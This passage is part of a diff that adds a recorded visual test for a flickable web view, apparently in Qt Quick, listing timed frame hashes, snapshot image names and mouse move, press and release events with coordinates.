+ x: 85; y: 90
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3648
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 3664
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 3680
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 3696
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 3712
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 3728
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 3744
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 3760
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 85; y: 89
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3776
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 3792
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 88
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 87
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3808
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 85; y: 85
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 83
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3824
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 3840
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 3856
+ image: "flickweb.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 3888
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 3904
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 3920
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 3936
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 3952
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 3968
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 3984
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4000
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4016
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 84
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4032
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 87
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4048
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 88
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4064
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4080
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4096
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4112
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4128
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 89
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4144
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 82; y: 90
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4160
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 82; y: 91
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 82; y: 92
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4176
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 82; y: 93
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 82; y: 95
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4192
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 82; y: 97
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 100
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4208
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 101
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 105
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4224
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 107
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 110
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4240
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 113
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 114
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4256
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 115
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 116
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4272
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 117
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4288
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4304
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4320
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4336
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4352
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4368
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4384
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4400
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4416
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4432
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4448
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4464
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4480
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 116
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4496
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4512
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4528
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4544
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4560
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4576
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4592
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4608
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 82; y: 116
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4624
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4640
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 82; y: 117
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4656
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4672
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4688
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 82; y: 118
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4704
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4720
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4736
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4752
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4768
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4784
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 119
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4800
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4816
+ image: "flickweb.5.png"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 83; y: 119
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4832
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 4848
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 84; y: 119
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4864
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 85; y: 118
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 85; y: 117
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4880
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 86; y: 113
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 87; y: 111
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4896
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 89; y: 107
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 90; y: 104
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4912
+ hash: "f10fa114e248809ed280788d03a3e234"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 92; y: 99
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 93; y: 95
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4928
+ hash: "442357340d9690811d582f548f933d92"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 95; y: 88
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 98; y: 81
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 98; y: 81
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4944
+ hash: "188b8f78b2a2180a8e96a8a05bb20fe2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 98; y: 77
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 99; y: 69
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4960
+ hash: "2b8ee42c5660f4f938cf10507690abbe"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 100; y: 66
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 101; y: 60
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4976
+ hash: "3d4aab388f62e64c5f72c631fb8584aa"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 103; y: 59
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 104; y: 56
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4992
+ hash: "439364cea3330411f526093d58ece463"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 104; y: 55
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 104; y: 53
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5008
+ hash: "27653ec59651e6b3cb2ebf2bc81a975a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 104; y: 52
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 104; y: 51
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5024
+ hash: "d9c0fb2cbf968e0524291ae2570ca585"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 105; y: 50
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 105; y: 49
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5040
+ hash: "ef75df694a972985f410e21182dbb12b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 105; y: 48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5056
+ hash: "adda6aa851c1587c1bb2605809348725"
+ }
+ Frame {
+ msec: 5072
+ hash: "196c12052069f0f8c775aa38d3291bef"
+ }
+ Frame {
+ msec: 5088
+ hash: "eaa025b6aee87edf95643cc46880d0db"
+ }
+ Frame {
+ msec: 5104
+ hash: "edeab897b82df47ae6deb858eca3087e"
+ }
+ Frame {
+ msec: 5120
+ hash: "46e3b5da149cfc40036a860e74e0cd78"
+ }
+ Frame {
+ msec: 5136
+ hash: "46e3b5da149cfc40036a860e74e0cd78"
+ }
+ Frame {
+ msec: 5152
+ hash: "0fe9b13b9b0752ab4ad74f4e43f94d86"
+ }
+ Frame {
+ msec: 5168
+ hash: "0fe9b13b9b0752ab4ad74f4e43f94d86"
+ }
+ Frame {
+ msec: 5184
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Frame {
+ msec: 5200
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Frame {
+ msec: 5216
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Frame {
+ msec: 5232
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Frame {
+ msec: 5248
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Frame {
+ msec: 5264
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Frame {
+ msec: 5280
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Frame {
+ msec: 5296
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Frame {
+ msec: 5312
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Frame {
+ msec: 5328
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Frame {
+ msec: 5344
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 105; y: 47
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 104; y: 46
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5360
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 103; y: 45
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 102; y: 45
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5376
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 102; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5392
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 101; y: 43
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5408
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 101; y: 42
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 100; y: 42
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5424
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 99; y: 41
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 98; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5440
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 98; y: 39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5456
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 98; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 98; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5472
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 98; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 98; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5488
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 98; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 98; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5504
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 98; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 98; y: 28
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5520
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 98; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 98; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5536
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 98; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 98; y: 23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5552
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 97; y: 23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 97; y: 22
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5568
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Frame {
+ msec: 5584
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Frame {
+ msec: 5600
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Frame {
+ msec: 5616
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Frame {
+ msec: 5632
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 97; y: 22
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5648
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Frame {
+ msec: 5664
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 97; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 97; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5680
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 97; y: 28
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 97; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5696
+ hash: "695e9c7292475cad011ca76799452042"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 97; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 97; y: 42
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5712
+ hash: "27653ec59651e6b3cb2ebf2bc81a975a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 97; y: 50
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 97; y: 58
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5728
+ hash: "f2a68c3a60002a796b0cd595ae89e477"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 97; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 97; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5744
+ hash: "2628ffe66f06c997d9c9b66febc04ce8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 97; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 98; y: 83
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5760
+ hash: "9b68c76d622f7b883a13927a112179f0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 99; y: 86
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 101; y: 91
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 101; y: 91
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5776
+ image: "flickweb.6.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 103; y: 95
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 104; y: 95
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5792
+ hash: "6d6d87355037ec4a15b2a81c8d48b74d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 107; y: 95
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 107; y: 94
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5808
+ hash: "6d6d87355037ec4a15b2a81c8d48b74d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 107; y: 93
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5824
+ hash: "6d6d87355037ec4a15b2a81c8d48b74d"
+ }
+ Frame {
+ msec: 5840
+ hash: "6d6d87355037ec4a15b2a81c8d48b74d"
+ }
+ Frame {
+ msec: 5856
+ hash: "34c3edc4500a268a326b5c2156c12f09"
+ }
+ Frame {
+ msec: 5872
+ hash: "34c3edc4500a268a326b5c2156c12f09"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 106; y: 92
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 105; y: 91
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5888
+ hash: "34c3edc4500a268a326b5c2156c12f09"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 104; y: 91
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 103; y: 90
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5904
+ hash: "ac600900160ab37ec8a3e67eb82d0259"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 101; y: 89
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 100; y: 88
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5920
+ hash: "ac600900160ab37ec8a3e67eb82d0259"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 99; y: 86
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 98; y: 86
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5936
+ hash: "dc3cef419e3b7d59f450d3307aeebefa"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 97; y: 85
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 96; y: 85
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5952
+ hash: "dc3cef419e3b7d59f450d3307aeebefa"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 94; y: 84
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 93; y: 83
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5968
+ hash: "9b68c76d622f7b883a13927a112179f0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 90; y: 82
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 86; y: 81
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5984
+ hash: "9b68c76d622f7b883a13927a112179f0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 85; y: 80
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 81; y: 79
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6000
+ hash: "9b68c76d622f7b883a13927a112179f0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 79; y: 78
+ modifiers: 0
